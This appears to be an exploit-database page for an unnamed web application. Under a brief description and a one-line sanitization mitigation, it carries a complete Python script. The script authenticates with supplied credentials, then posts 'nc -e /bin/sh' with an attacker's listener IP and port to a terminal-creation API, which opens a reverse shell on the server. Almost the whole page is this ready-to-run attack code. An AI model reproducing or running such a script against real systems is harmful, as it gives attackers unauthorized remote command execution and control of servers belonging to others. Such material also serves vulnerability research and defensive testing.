header-logo
Suggest Exploit
vendor:
N/A
by:
Anonymous
9.8
CVSS
HIGH
Remote Code Execution
78
CWE
Product Name: N/A
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: N/A
2020

Exploit for Remote Code Execution Vulnerability

This exploit is used to exploit a Remote Code Execution vulnerability in a web application. It takes the URL, username, password, listener IP and listener port as arguments and sends a payload to the web application which is then executed on the server. The payload contains a command to open a reverse shell to the specified IP and port.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in any command or query.
Source

Exploit-DB raw data:

 #!/usr/bin/python3

import requests
import sys
import warnings
from bs4 import BeautifulSoup
import json

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) < 6:
    print("Usage: ./exploit.py http(s)://url username password listenerIP listenerPort")
    exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]

req = requests.session()
login_creds = {
    "username":username,
    "password":password,
    "mode":"normal"}
      


print("[+] Sendin login request...")
login = req.post(url+"/api/core/auth", json = login_creds)


if username in login.text:

    page = url + "/api/terminal/create"

    payload = {

            'command':'nc -e /bin/sh ' + ip + ' ' + port ,
            'autoclose':True


          }
    payload = json.dumps(payload)
    print("[+] Sending payload...")
    
    send_payload = req.post(page, payload)
    
    print("[+] Check your listener !...")

else:
    print("[-] Wrong credentials or may the system patched.")
    exit()